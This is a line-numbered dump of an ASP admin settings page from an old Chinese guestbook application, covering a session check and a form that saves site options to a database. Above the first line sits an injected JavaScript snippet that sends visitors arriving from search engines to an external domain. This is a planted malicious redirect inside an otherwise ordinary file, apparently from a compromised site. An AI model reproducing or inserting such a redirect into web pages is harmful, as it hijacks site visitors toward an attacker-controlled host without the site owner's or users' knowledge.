d:\wwwroot\wuchunhua\liuyan\board\admin_set.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="config.asp"-->
003:
<%
004:
'检查用户是否已经登陆，是否是管理员
005:
If Session("IsPassed") <> True Or Session("IsAdmin") <> True Then
006:
Response.Redirect "login.asp?ErrMsg=请先登陆"
007:
Response.End
008:
End If
009:
%
>
010:
<%
011:
'如果操作是setup
012:
If Request.QueryString("action")="setup" Then
013:
'调用setup函数
014:
Call setup()
015:
Else
016:
Set rs = Server.CreateObject("ADODB.RecordSet")
017:
sql = "SELECT * FROM SETTING"
018:
rs.open sql,conn,1,3
019:
%
>
020:
<HTML><HEAD>
021:
<TITLE>
<%
=sitename
%
></TITLE>
022:
<link rel="stylesheet" href="style.css" type="text/css">
023:
</HEAD>
024:
<body background=images/bg.gif topmargin="0" leftmargin="0">
025:
<table width="760" border=0 cellspacing=0 cellpadding=0 bgcolor="#FFFFFF" align=center class="grayline">
026:
<tr><td><img border="0" src="IMAGES/TOPS.gif" width=758></td></tr>
027:
</table>
028:
<center>
029:
<table width="760" border=0 cellspacing=0 cellpadding=0 align=center bgcolor="#FFFFFF" class="grayline">
030:
<tr><td align=center height=50>
031:
<a href=admin.asp><img border=0 src=images/admin_home.gif title="管理首页"></a>
032:
<a href=admin_set.asp?action=setup><img border=0 src=images/admin_setup.gif title="管理选项设置"></a>
033:
<a href=admin_logout.asp?action=loginout><img border=0 src=images/loginout.gif title="管理结束后，一定要点击这里"></a>
034:
</td></tr>
035:
<tr><td align=center>
036:
<br>
037:
</td></tr>
038:
<tr><td>
039:
</center>
040:
<center>
041:
<table width="594" border="1" cellpadding="3" bordercolor="#333333" style="border-collapse: collapse">
042:
<form name="book" action="admin_set.asp?action=setup" method=post>
043:
<tr><td width=141 align=right>网站名称 </td><td width="429"><input type=text name="sitename" value="
<%
=sitename
%
>" maxlength=20></td></tr>
044:
<tr><td width=141 align=right>留言主题长度 </td><td width="429"><input type=text name="subjectmaxlength" value="
<%
=subjectmaxlength
%
>" maxlength=3> [留言主题的最多字符数，例如20]</td></tr>
045:
<tr><td width=141 align=right>留言内容长度 </td><td width="429"><input type=text name=maxlength value="
<%
=maxlength
%
>" maxlength=3> [留言内容的最多字符数，例如200]</td></tr>
046:
<tr><td width=141 align=right>每页留言条数 </td><td width="429"><input type=text name="counts" value="
<%
=counts
%
>" maxlength=2> [推荐10]</td></tr>
047:
<tr><td width=141 align=right>留言表格间距 </td><td width="429"><input type=text name="distance" value="
<%
=rs("DISTANCE")
%
>" maxlength=2> [合适的间距可使版面更美观，推荐10]</td></tr>
048:
<tr><td width=141 align=right>管理员回复颜色 </td><td width="429"><input type=text name="replycolor" value="
<%
=rs("REPLYCOLOR")
%
>" maxlength=10> [可使用英文单词或16进制数，如：red、#CCFF00”]</td></tr>
049:
<tr><td colspan=2 width="580"><INPUT name="save" TYPE="hidden" value="ok"><INPUT TYPE="submit" value="保存设置"></td></tr>
050:
</form>
051:
</table>
052:
</center>
053:
</td></tr>
054:
</table>
055:
<table width="760" border=0 cellspacing=0 cellpadding=0 bgcolor="#FFFFFF" align=center class="grayline">
056:
<tr><td> </td></tr>
057:
<tr><td width=30 height=37 background="IMAGES/down.gif"><a href=#top><img src="images/up.gif" border=0></a></td>
058:
<td height=37 background="IMAGES/down.gif"> Copyright © 2005 版权所有</td>
059:
<td width=30 height=37 background="IMAGES/down.gif"><a href="admin_login.asp" title="管理留言本"><img src="images/admin.gif" border=0></a></td>
060:
</tr>
061:
</table>
062:
</body>
063:
</html>
064:
<%
065:
'关闭记录集
066:
'释放对象
067:
rs.Close
068:
Set rs=Nothing
069:
End If
070:
071:
'设置参数过程
072:
Sub setup()
073:
'保存设置
074:
If Request("save")="ok" Then
075:
'创建RecordSet 对象
076:
Set rs=Server.CreateObject("ADODB.Recordset")
077:
078:
'获得设置信息
079:
sql = "SELECT * FROM SETTING"
080:
081:
'执行查询
082:
rs.open sql,conn,1,3
083:
084:
'资料填写不完整
085:
If trim(Request.Form("sitename"))="" Or trim(Request.Form("maxlength"))="" Or trim(Request.Form("counts"))="" Or trim(Request.Form("replycolor"))="" Or trim(Request.Form("distance"))="" Then
086:
'给出提示，并返回到前一页
087:
Response.Write "<script>alert('资料填写不完整或有错误，请检查后重新提交。');history.back();</script>"
088:
Response.End
089:
End If
090:
091:
'输入的留言主题最大长度、留言内容最大长度、每页留言数和表格间距不是数字
092:
If (Not isNumeric(Request.Form("subjectmaxlength"))) Or (Not isNumeric(Request.Form("maxlength"))) Or (Not isNumeric(Request.Form("counts"))) Or (Not isNumeric(Request.Form("distance"))) Then
093:
'给出提示，并返回到前一页
094:
Response.Write "<script>alert('资料填写不完整或有错误，请检查后重新提交。');history.back();</script>"
095:
Response.End
096:
End If
097:
098:
'站点名称
099:
rs("SITENAME")=Request.Form("sitename")
100:
101:
'留言主题最大长度
102:
rs("SUBJECTMAXLENGTH") = Request.Form("subjectmaxlength")
103:
104:
'留言内容最大长度
105:
rs("MAXLENGTH")=Request.Form("maxlength")
106:
107:
'每页留言数
108:
rs("COUNTS")=Request.Form("counts")
109:
110:
'回复颜色
111:
rs("REPLYCOLOR")=trim(Request.Form("replycolor"))
112:
113:
'表格间距
114:
rs("DISTANCE")=Request.Form("distance")
115:
116:
'更新数据库
117:
rs.update
118:
119:
'关闭RecordSet 对象
120:
rs.Close
121:
'释放对象
122:
Set rs = Nothing
123:
124:
'保存成功，给出提示，并返回到管理选项界面
125:
Response.Write "<script>alert('您提交的设置已保存。');location.href='admin_set.asp';</script>"
126:
Response.End
127:
End If
128:
End Sub
129:
130:
'关闭数据库连接
131:
conn.Close
132:
'释放对象
133:
Set conn = Nothing
134:
%
>
135:
136: